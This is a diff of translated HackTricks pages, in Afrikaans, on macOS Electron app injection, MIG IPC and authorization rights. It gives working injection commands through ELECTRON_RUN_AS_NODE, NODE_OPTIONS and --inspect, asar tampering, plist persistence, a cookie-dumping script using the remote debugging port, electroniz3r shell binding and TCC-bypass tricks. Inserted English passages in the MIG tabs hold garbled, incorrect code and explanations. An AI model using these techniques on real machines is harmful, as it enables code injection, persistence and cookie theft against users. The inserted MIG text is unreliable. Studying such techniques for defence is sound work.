Jy kan **hierdie vlae kontroleer** vanuit 'n toepassing met:
|
||||
Jy kan **hierdie vlae nagaan** vanuit 'n toepassing met:
|
||||
```bash
|
||||
npx @electron/fuses read --app /Applications/Slack.app
|
||||
|
||||
|
@ -49,35 +49,35 @@ EnableEmbeddedAsarIntegrityValidation is Enabled
|
|||
OnlyLoadAppFromAsar is Enabled
|
||||
LoadBrowserProcessSpecificV8Snapshot is Disabled
|
||||
```
|
||||
### Wysiging van Electron Smelte
|
||||
### Wysiging van Electron-sekeringe
|
||||
|
||||
Soos die [**dokumentasie aandui**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), word die konfigurasie van die **Electron Smelte** gekonfigureer binne die **Electron binêre lêer** wat êrens die string **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** bevat.
|
||||
Soos die [**dokumente aandui**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), word die konfigurasie van die **Electron-skerings** ingestel binne die **Electron-binêre lêer** wat êrens die string **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** bevat.
|
||||
|
||||
In macOS-toepassings is dit tipies in `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`.
|
||||
In macOS-toepassings is dit tipies in `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
|
||||
```bash
|
||||
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
|
||||
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
|
||||
```
|
||||
Jy kan hierdie lêer in [https://hexed.it/](https://hexed.it/) laai en soek na die vorige string. Na hierdie string kan jy in ASCII 'n nommer "0" of "1" sien wat aandui of elke smelting uitgeschakel of geaktiveer is. Verander net die hekskode (`0x30` is `0` en `0x31` is `1`) om die smeltwaardes te **verander**.
|
||||
Jy kan hierdie lêer in [https://hexed.it/](https://hexed.it/) laai en soek na die vorige string. Na hierdie string kan jy in ASCII 'n nommer "0" of "1" sien wat aandui of elke fuus gedeaktiveer of geaktiveer is. Modifiseer net die hekskode (`0x30` is `0` en `0x31` is `1`) om **die fuuswaardes te wysig**.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Let daarop dat as jy probeer om die **`Electron Framework` binêre lêer** binne 'n toepassing te **oorwrite** met hierdie gewysigde bytes, sal die toepassing nie uitgevoer word nie.
|
||||
Let daarop dat as jy probeer om die **`Electron Framework` binêre lêer** binne 'n toepassing met hierdie gewysigde bytes te **owerwrite**, sal die toepassing nie loop nie.
|
||||
|
||||
## RCE kode byvoeging tot Electron-toepassings
|
||||
|
||||
Daar kan **eksterne JS/HTML-lêers** wees wat 'n Electron-toepassing gebruik, sodat 'n aanvaller kode in hierdie lêers kan inspuit waarvan die handtekening nie nagegaan sal word nie en arbitrêre kode in die konteks van die toepassing kan uitvoer.
|
||||
Daar kan **eksterne JS/HTML-lêers** wees wat 'n Electron-toepassing gebruik, sodat 'n aanvaller kode in hierdie lêers kan inspuit waarvan die handtekening nie nagegaan sal word nie en arbitrêre kode kan uitvoer in die konteks van die toepassing.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Daar is egter tans 2 beperkings:
|
||||
|
||||
* Die **`kTCCServiceSystemPolicyAppBundles`**-toestemming is **nodig** om 'n toepassing te wysig, dus is dit standaard nie meer moontlik nie.
|
||||
* Die gekompileerde **`asap`**-lêer het gewoonlik die smeltings **`embeddedAsarIntegrityValidation`** en **`onlyLoadAppFromAsar`** geaktiveer
|
||||
* Die **`kTCCServiceSystemPolicyAppBundles`** toestemming is **nodig** om 'n toepassing te wysig, dus is dit standaard nie meer moontlik nie.
|
||||
* Die saamgestelde **`asap`** lêer het gewoonlik die fuise **`embeddedAsarIntegrityValidation`** `en` **`onlyLoadAppFromAsar`** `geaktiveer`
|
||||
|
||||
Dit maak hierdie aanvalspad meer ingewikkeld (of onmoontlik).
|
||||
{% endhint %}
|
||||
|
||||
Let daarop dat dit moontlik is om die vereiste van **`kTCCServiceSystemPolicyAppBundles`** te omseil deur die toepassing na 'n ander gids (soos **`/tmp`**) te kopieer, die vouer **`app.app/Contents`** na **`app.app/NotCon`** te hernoem, die **asar**-lêer met jou **skadelike** kode te wysig, dit terug te hernoem na **`app.app/Contents`** en dit uit te voer.
|
||||
Let daarop dat dit moontlik is om die vereiste van **`kTCCServiceSystemPolicyAppBundles`** te omseil deur die toepassing na 'n ander gids te kopieer (soos **`/tmp`**), die vouer **`app.app/Contents`** te hernoem na **`app.app/NotCon`**, die **asar**-lêer met jou **skadelike** kode te **modifiseer**, dit terug te hernoem na **`app.app/Contents`** en dit uit te voer.
|
||||
|
||||
Jy kan die kode uit die asar-lêer uitpak met:
|
||||
```bash
|
||||
|
@ -101,12 +101,12 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
As die **`RunAsNode`**-fusie gedeaktiveer is, sal die omgewingsveranderlike **`ELECTRON_RUN_AS_NODE`** geïgnoreer word en sal dit nie werk nie.
|
||||
As die **`RunAsNode`**-fusie gedeaktiveer is, sal die omgewingsveranderlike **`ELECTRON_RUN_AS_NODE`** geïgnoreer word, en dit sal nie werk nie.
|
||||
{% endhint %}
|
||||
|
||||
### Inspruiting vanaf die App Plist
|
||||
### Inspruiting van die App Plist
|
||||
|
||||
Soos [**hier voorgestel**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), kan jy hierdie omgewingsveranderlike in 'n plist misbruik om volhardendheid te handhaaf:
|
||||
Soos [**voorgestel hier**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), kan jy hierdie omgewingsveranderlike in 'n plist misbruik om volharding te handhaaf:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -132,7 +132,7 @@ Soos [**hier voorgestel**](https://www.trustedsec.com/blog/macos-injection-via-t
|
|||
```
|
||||
## RCE met `NODE_OPTIONS`
|
||||
|
||||
Jy kan die payload in 'n ander lêer stoor en dit uitvoer:
|
||||
Jy kan die lading in 'n ander lêer stoor en dit uitvoer:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -145,12 +145,12 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
As die **`EnableNodeOptionsEnvironmentVariable`**-fusie **uitgeschakel** is, sal die app die omgewingsveranderlike **NODE\_OPTIONS** ignoreer wanneer dit geloods word, tensy die omgewingsveranderlike **`ELECTRON_RUN_AS_NODE`** ingestel is, wat ook geignoreer sal word as die **`RunAsNode`**-fusie uitgeschakel is.
|
||||
As die smeltkroes **`EnableNodeOptionsEnvironmentVariable`** is **uitgeskakel**, sal die app die omgewingsveranderlike **NODE_OPTIONS** ignoreer wanneer dit begin word tensy die omgewingsveranderlike **`ELECTRON_RUN_AS_NODE`** ingestel is, wat ook **ignoreer** sal word as die smeltkroes **`RunAsNode`** uitgeskakel is.
|
||||
|
||||
As jy nie **`ELECTRON_RUN_AS_NODE`** instel nie, sal jy die fout vind: `Meeste NODE_OPTIONs word nie ondersteun in gepakette apps nie. Sien dokumentasie vir meer besonderhede.`
|
||||
As jy nie **`ELECTRON_RUN_AS_NODE`** instel nie, sal jy die **fout** kry: `Meeste NODE_OPTIONs word nie ondersteun in gepakde programme nie. Sien dokumentasie vir meer besonderhede.`
|
||||
{% endhint %}
|
||||
|
||||
### Inspruiting vanaf die App Plist
|
||||
### Inspruiting van die App Plist
|
||||
|
||||
Jy kan hierdie omgewingsveranderlike misbruik in 'n plist om volharding te handhaaf deur hierdie sleutels by te voeg:
|
||||
```xml
|
||||
|
@ -182,14 +182,14 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
As die **`EnableNodeCliInspectArguments`**-fusie gedeaktiveer is, sal die app **node parameters ignoreer** (soos `--inspect`) wanneer dit geloods word tensy die omgewingsveranderlike **`ELECTRON_RUN_AS_NODE`** ingestel is, wat ook **geïgnoreer** sal word as die **`RunAsNode`**-fusie gedeaktiveer is.
|
||||
As die smeltkroes **`EnableNodeCliInspectArguments`** gedeaktiveer is, sal die app **node parameters ignoreer** (soos `--inspect`) wanneer dit begin word tensy die omgewingsveranderlike **`ELECTRON_RUN_AS_NODE`** ingestel is, wat ook **ignoreer** sal word as die smeltkroes **`RunAsNode`** gedeaktiveer is.
|
||||
|
||||
Jy kan egter steeds die **electron parameter `--remote-debugging-port=9229`** gebruik, maar die vorige lading sal nie werk om ander prosesse uit te voer nie.
|
||||
Nogtans kan jy steeds die **elektron parameter `--remote-debugging-port=9229`** gebruik, maar die vorige lading sal nie werk om ander prosesse uit te voer nie.
|
||||
{% endhint %}
|
||||
|
||||
Deur die parameter **`--remote-debugging-port=9222`** te gebruik, is dit moontlik om sekere inligting van die Electron App te steel, soos die **geskiedenis** (met GET-opdragte) of die **koekies** van die blaaier (aangesien hulle binne die blaaier **gedekodeer** word en daar 'n **json-eindpunt** is wat dit sal gee).
|
||||
Deur die parameter **`--remote-debugging-port=9222`** te gebruik, is dit moontlik om sekere inligting van die Electron App te steel soos die **geskiedenis** (met GET-opdragte) of die **koekies** van die blaaier (aangesien hulle binne die blaaier **gedekripteer** word en daar 'n **json eindpunt** is wat hulle sal gee).
|
||||
|
||||
Jy kan leer hoe om dit te doen [**hier**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) en [**hier**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) en gebruik die outomatiese instrument [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) of 'n eenvoudige skripsie soos:
|
||||
Jy kan leer hoe om dit te doen [**hier**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) en [**hier**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) en die outomatiese instrument [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) gebruik of 'n eenvoudige skrips soos:
|
||||
```python
|
||||
import websocket
|
||||
ws = websocket.WebSocket()
|
||||
|
@ -197,11 +197,11 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
|
|||
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
|
||||
print(ws.recv()
|
||||
```
|
||||
In [**hierdie blogpos**](https://hackerone.com/reports/1274695) word hierdie foutopsporing misbruik om 'n headless chrome **willekeurige lêers in willekeurige plekke af te laai**.
|
||||
In [**hierdie blogpos**](https://hackerone.com/reports/1274695), word hierdie foutopsporing misbruik om 'n headless chrome **willekeurige lêers op willekeurige plekke af te laai**.
|
||||
|
||||
### Injeksie vanaf die App Plist
|
||||
### Inspruiting vanaf die App Plist
|
||||
|
||||
Jy kan hierdie omgewingsveranderlike misbruik in 'n plist om volharding te handhaaf deur hierdie sleutels by te voeg:
|
||||
Jy kan hierdie omgewingsveranderlike misbruik in 'n plist om volharding te behou deur hierdie sleutels by te voeg:
|
||||
```xml
|
||||
<dict>
|
||||
<key>ProgramArguments</key>
|
||||
|
@ -215,22 +215,22 @@ Jy kan hierdie omgewingsveranderlike misbruik in 'n plist om volharding te handh
|
|||
<true/>
|
||||
</dict>
|
||||
```
|
||||
## TCC-omseiling deur Ouer Weergawes te misbruik
|
||||
## TCC Oorweging van Ouer Weergawes
|
||||
|
||||
{% hint style="success" %}
|
||||
Die TCC-daemon van macOS kontroleer nie die uitgevoerde weergawe van die toepassing nie. As jy dus nie kode in 'n Electron-toepassing kan inspuit nie met enige van die vorige tegnieke nie, kan jy 'n vorige weergawe van die toepassing aflaai en kode daarin inspuit, aangesien dit steeds die TCC-voorregte sal kry (tensy Trust Cache dit voorkom).
|
||||
Die TCC daemon van macOS kontroleer nie die uitgevoerde weergawe van die aansoek nie. As jy dus nie kode kan inspuit in 'n Electron-aansoek nie met enige van die vorige tegnieke nie, kan jy 'n vorige weergawe van die toepassing aflaai en kode daarin inspuit, aangesien dit steeds die TCC-voorregte sal kry (tensy die Trust Cache dit voorkom).
|
||||
{% endhint %}
|
||||
|
||||
## Voer nie-JS-kode uit
|
||||
|
||||
Die vorige tegnieke sal jou in staat stel om **JS-kode binne die proses van die Electron-toepassing** uit te voer. Onthou egter dat die **kindprosesse onder dieselfde sandputprofiel** as die ouertoepassing uitgevoer word en **hul TCC-toestemmings oorneem**.\
|
||||
Daarom, as jy byvoorbeeld misbruik wil maak van toestemmings om toegang tot die kamera of mikrofoon te verkry, kan jy eenvoudig **'n ander binêre lêer vanuit die proses uitvoer**.
|
||||
Die vorige tegnieke sal jou in staat stel om **JS-kode binne die proses van die Electron-aansoek** uit te voer. Onthou egter dat die **kindprosesse onder dieselfde sandbakkieprofiel** as die oueraansoek loop en **hul TCC-toestemmings erf**.\
|
||||
Dus, as jy voorregte wil misbruik om byvoorbeeld toegang tot die kamera of mikrofoon te verkry, kan jy net **'n ander binêre lêer vanuit die proses uitvoer**.
|
||||
|
||||
## Outomatiese Inspruiting
|
||||
|
||||
Die instrument [**electroniz3r**](https://github.com/r3ggi/electroniz3r) kan maklik gebruik word om kwesbare Electron-toepassings wat geïnstalleer is, te vind en kode daarin in te spuit. Hierdie instrument sal probeer om die **`--inspect`**-tegniek te gebruik:
|
||||
Die instrument [**electroniz3r**](https://github.com/r3ggi/electroniz3r) kan maklik gebruik word om **kwesbare Electron-aansoeke** wat geïnstalleer is, te vind en kode daarin in te spuit. Hierdie instrument sal probeer om die **`--inspect`** tegniek te gebruik:
|
||||
|
||||
Jy moet dit self kompileer en kan dit so gebruik:
|
||||
Jy moet dit self saamstel en kan dit so gebruik:
|
||||
```bash
|
||||
# Find electron apps
|
||||
./electroniz3r list-apps
|
||||
|
@ -274,14 +274,14 @@ Shell binding requested. Check `nc 127.0.0.1 12345`
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslaan.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -43,7 +43,7 @@ mig -header myipcUser.h -sheader myipcServer.h myipc.defs
|
|||
```
|
||||
Verskeie nuwe lêers sal geskep word in die huidige gids.
|
||||
|
||||
In die lêers **`myipcServer.c`** en **`myipcServer.h`** kan jy die verklaring en definisie van die struktuur **`SERVERPREFmyipc_subsystem`** vind, wat basies die funksie definieer om te roep gebaseer op die ontvangsboodskap-ID (ons het 'n beginnommer van 500 aangedui):
|
||||
In die lêers **`myipcServer.c`** en **`myipcServer.h`** kan jy die verklaring en definisie van die struktuur **`SERVERPREFmyipc_subsystem`** vind, wat basies die funksie definieer om te roep gebaseer op die ontvangende boodskap-ID (ons het 'n beginnommer van 500 aangedui):
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipcServer.c" %}
|
||||
|
@ -67,19 +67,25 @@ myipc_server_routine,
|
|||
{% tab title="myipcServer.h" %}
|
||||
### MacOS MIG (Mach Interface Generator)
|
||||
|
||||
MIG is a tool used to define inter-process communication (IPC) for Mach-based systems. It generates server-side code to handle messages sent between processes. Here is an example of how to define a MIG server in a header file:
|
||||
MIG is a tool used to define inter-process communication (IPC) for Mach-based systems. It generates client-side and server-side code to handle messages sent between processes. MIG interfaces are defined in .defs files, which are then processed by the MIG compiler to generate the necessary code.
|
||||
|
||||
#### Example:
|
||||
|
||||
```c
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
#include "myipcServer.h"
|
||||
|
||||
kern_return_t my_server_function(mach_port_t server_port, int data, int *result);
|
||||
kern_return_t myipc_server(mach_port_t server_port, mach_port_t request_port, mach_msg_id_t msg_id, void *msg, mach_msg_size_t msg_size, mach_port_t *reply_port, mach_msg_id_t *reply_msg_id, mach_msg_size_t *reply_msg_size, kern_return_t *ret)
|
||||
{
|
||||
// Server-side implementation
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
```
|
||||
|
||||
In this example, `my_server_function` is defined to handle messages sent to the server. The `server_port` parameter is the port the server is listening on, `data` is the input data sent with the message, and `result` is a pointer to store the result of the function.
|
||||
In this example, `myipc_server` is a function generated by MIG that handles incoming messages on the server side. It takes various parameters related to the message being received and can process it accordingly.
|
||||
|
||||
To implement the server function, you would need to define the function in a source file and register it with the MIG subsystem. This allows the server to receive and process messages from client processes.
|
||||
|
||||
MIG is a powerful tool for handling IPC in MacOS systems and is commonly used in system services and daemons for communication between processes.
|
||||
MIG simplifies the process of defining and handling IPC in MacOS systems, making it easier to implement secure and efficient communication between processes.
|
||||
{% endtab %}
|
||||
```c
|
||||
/* Description of this subsystem, for use in direct RPC */
|
||||
|
@ -111,7 +117,7 @@ return 0;
|
|||
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
||||
}
|
||||
```
|
||||
In hierdie voorbeeld het ons slegs 1 funksie in die definisies gedefinieer, maar as ons meer funksies gedefinieer het, sou hulle binne die array van **`SERVERPREFmyipc_subsystem`** gewees het en die eerste een sou toegewys wees aan die ID **500**, die tweede een aan die ID **501**...
|
||||
In hierdie voorbeeld het ons slegs 1 funksie in die definisies gedefinieer, maar as ons meer funksies gedefinieer het, sou hulle binne die array van **`SERVERPREFmyipc_subsystem`** gewees het en die eerste een sou toegewys wees aan die ID **500**, die tweede aan die ID **501**...
|
||||
|
||||
Eintlik is dit moontlik om hierdie verhouding te identifiseer in die struktuur **`subsystem_to_name_map_myipc`** vanaf **`myipcServer.h`**:
|
||||
```c
|
||||
|
@ -120,7 +126,7 @@ Eintlik is dit moontlik om hierdie verhouding te identifiseer in die struktuur *
|
|||
{ "Subtract", 500 }
|
||||
#endif
|
||||
```
|
||||
Uiteindelik, nog 'n belangrike funksie om die bediener te laat werk, sal **`myipc_server`** wees, wat die een is wat werklik die funksie **oproep** wat verband hou met die ontvangsde id:
|
||||
Uiteindelik, nog 'n belangrike funksie om die bediener te laat werk, sal **`myipc_server`** wees, wat die een is wat werklik die funksie sal **oproep** wat verband hou met die ontvangsde id:
|
||||
|
||||
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
|
||||
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
|
||||
|
@ -154,7 +160,7 @@ return FALSE;
|
|||
}
|
||||
</code></pre>
|
||||
|
||||
Kontroleer die voorheen uitgeligte lyne wat die funksie toegang gee om op ID te roep.
|
||||
Kontroleer die voorheen uitgeligte lyne wat die funksie toegang gee om volgens ID te roep.
|
||||
|
||||
In die volgende is die kode om 'n eenvoudige **bediener** en **kliënt** te skep waar die kliënt die funksies van die bediener kan oproep:
|
||||
|
||||
|
@ -192,7 +198,27 @@ mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsy
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="myipc_client.c" %}
|
||||
{% tab title="myipc_client.c" %}
|
||||
### MacOS MIG (Mach Interface Generator)
|
||||
|
||||
MIG is a tool used to define inter-process communication (IPC) for macOS. It generates client-side and server-side code for IPC. MIG interfaces are defined in .defs files and are used to specify the messages that can be sent between processes.
|
||||
|
||||
To use MIG, you need to define a .defs file with the message formats and then run the MIG tool to generate the necessary code. The generated code can then be used in your macOS application to communicate between processes using the defined interfaces.
|
||||
|
||||
Here is an example of a simple MIG interface definition:
|
||||
|
||||
```c
|
||||
routine simple_rpc {
|
||||
mach_msg_header_t Head;
|
||||
mach_msg_body_t msgh_body;
|
||||
mach_msg_ool_descriptor_t desc;
|
||||
} Inband;
|
||||
```
|
||||
|
||||
This defines a routine called `simple_rpc` that can be used for inter-process communication. The `mach_msg_ool_descriptor_t` type allows for out-of-line data to be sent between processes.
|
||||
|
||||
By understanding and manipulating MIG interfaces, an attacker could potentially abuse inter-process communication mechanisms in macOS to escalate privileges or perform other malicious actions. It is important for developers to secure their IPC implementations to prevent such abuse.
|
||||
{% endtab %}
|
||||
```c
|
||||
// gcc myipc_client.c myipcUser.c -o myipc_client
|
||||
|
||||
|
@ -243,7 +269,7 @@ if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 +
|
|||
rax = *(int32_t *)(var_10 + 0x14);
|
||||
// Oproep na sign_extend_64 wat kan help om hierdie funksie te identifiseer
|
||||
// Dit stoor in rax die wyser na die oproep wat gemaak moet word
|
||||
// Kyk na die gebruik van die adres 0x100004040 (funksie-adresse-reeks)
|
||||
// Kontroleer die gebruik van die adres 0x100004040 (funksie-adresse-reeks)
|
||||
// 0x1f4 = 500 (die begin-ID)
|
||||
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
|
||||
</strong> var_20 = rax;
|
||||
|
@ -314,8 +340,8 @@ if (CPU_FLAGS & NE) {
|
|||
r8 = 0x1;
|
||||
}
|
||||
}
|
||||
// Dieselfde if anders as in die vorige weergawe
|
||||
// Kyk na die gebruik van die adres 0x100004040 (funksie-adresse-reeks)
|
||||
// Dieselfde indien anders as in die vorige weergawe
|
||||
// Kontroleer die gebruik van die adres 0x100004040 (funksie-adresse-reeks)
|
||||
<strong> if ((r8 & 0x1) == 0x0) {
|
||||
</strong><strong> *(var_18 + 0x18) = **0x100004000;
|
||||
</strong> *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
|
||||
|
@ -346,9 +372,11 @@ return r0;
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Eintlik, as jy na die funksie **`0x100004000`** gaan, sal jy die reeks van **`routine_descriptor`** strukture vind. Die eerste element van die struktuur is die **adres** waar die **funksie** geïmplementeer is, en die **struktuur neem 0x28 byte**, dus elke 0x28 byte (beginnend vanaf byte 0) kan jy 8 byte kry en dit sal die **adres van die funksie** wees wat geroep sal word:
|
||||
Eintlik, as jy na die funksie **`0x100004000`** gaan, sal jy die reeks van **`routine_descriptor`** strukture vind. Die eerste element van die struktuur is die **adres** waar die **funksie** geïmplementeer is, en die **struktuur neem 0x28 byte**, dus elke 0x28 byte (beginnend van byte 0) kan jy 8 byte kry en dit sal die **adres van die funksie** wees wat geroep sal word:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Hierdie data kan onttrek word [**deur hierdie Hopper-skrip te gebruik**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
|
||||
|
||||
|
@ -359,7 +387,7 @@ Hierdie data kan onttrek word [**deur hierdie Hopper-skrip te gebruik**](https:/
|
|||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Kry die [**amptelike PEASS & HackTricks-klere**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacking truuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
|
|
@ -240,9 +240,9 @@ assert(junk == errAuthorizationSuccess);
|
|||
return error;
|
||||
}
|
||||
```
|
||||
Merk op dat om **die vereistes te kontroleer om die reg** te kry om daardie metode te roep, sal die funksie `authorizationRightForCommand` net die voorheen kommentaarobjek **`commandInfo`** nagaan. Dan sal dit **`AuthorizationCopyRights`** roep om te kontroleer **of dit die regte** het om die funksie te roep (merk op dat die vlae interaksie met die gebruiker toelaat).
|
||||
Merk op dat om die vereistes te **kontroleer om die reg** te kry om daardie metode te roep, sal die funksie `authorizationRightForCommand` net die voorheen kommentaar-objek **`commandInfo`** nagaan. Dan sal dit **`AuthorizationCopyRights`** roep om te kontroleer **of dit die regte** het om die funksie te roep (merk op dat die vlae interaksie met die gebruiker toelaat).
|
||||
|
||||
In hierdie geval, om die funksie `readLicenseKeyAuthorization` te roep, is `kCommandKeyAuthRightDefault` omskryf as `@kAuthorizationRuleClassAllow`. So **enigiemand kan dit roep**.
|
||||
In hierdie geval, om die funksie `readLicenseKeyAuthorization` te roep, is die `kCommandKeyAuthRightDefault` omskryf as `@kAuthorizationRuleClassAllow`. So **enigiemand kan dit roep**.
|
||||
|
||||
### DB Inligting
|
||||
|
||||
|
@ -258,19 +258,19 @@ security authorizationdb read com.apple.safaridriver.allow
|
|||
```
|
||||
### Toelaatbare regte
|
||||
|
||||
Jy kan **al die toestemmingskonfigurasies** [**hier**](https://www.dssw.co.uk/reference/authorization-rights/) vind, maar die kombinasies wat nie gebruikerinteraksie vereis nie, sal wees:
|
||||
Jy kan **al die toestemmingskonfigurasies** [**hier vind**](https://www.dssw.co.uk/reference/authorization-rights/), maar die kombinasies wat nie gebruikerinteraksie vereis nie, is:
|
||||
|
||||
1. **'authenticate-user': 'false'**
|
||||
* Hierdie is die mees direkte sleutel. Indien ingestel op `false`, dui dit aan dat 'n gebruiker nie verifikasie hoef te verskaf om hierdie reg te verkry nie.
|
||||
* Dit word gebruik in **kombinasie met een van die 2 hieronder of deur 'n groep aan te dui** waaraan die gebruiker moet behoort.
|
||||
* Dit word gebruik in **kombinasie met een van die 2 onderstaande of deur 'n groep aan te dui** waarvan die gebruiker deel moet wees.
|
||||
2. **'allow-root': 'true'**
|
||||
* Indien 'n gebruiker as die root-gebruiker optree (wat verhoogde regte het), en hierdie sleutel op `true` ingestel is, kan die root-gebruiker moontlik hierdie reg verkry sonder verdere verifikasie. Gewoonlik vereis dit egter reeds verifikasie om 'n root-gebruikerstatus te bereik, dus is dit nie 'n "geen verifikasie" scenario vir die meeste gebruikers nie.
|
||||
* Indien 'n gebruiker as die root-gebruiker optree (wat verhoogde regte het) en hierdie sleutel op `true` ingestel is, kan die root-gebruiker moontlik hierdie reg verkry sonder verdere verifikasie. Gewoonlik vereis dit egter reeds verifikasie om 'n root-gebruikerstatus te bereik, dus is dit nie 'n "geen verifikasie" scenario vir die meeste gebruikers nie.
|
||||
3. **'session-owner': 'true'**
|
||||
* Indien ingestel op `true`, sal die eienaar van die sessie (die tans ingeteken gebruiker) hierdie reg outomaties verkry. Dit kan addisionele verifikasie omseil indien die gebruiker reeds ingeteken is.
|
||||
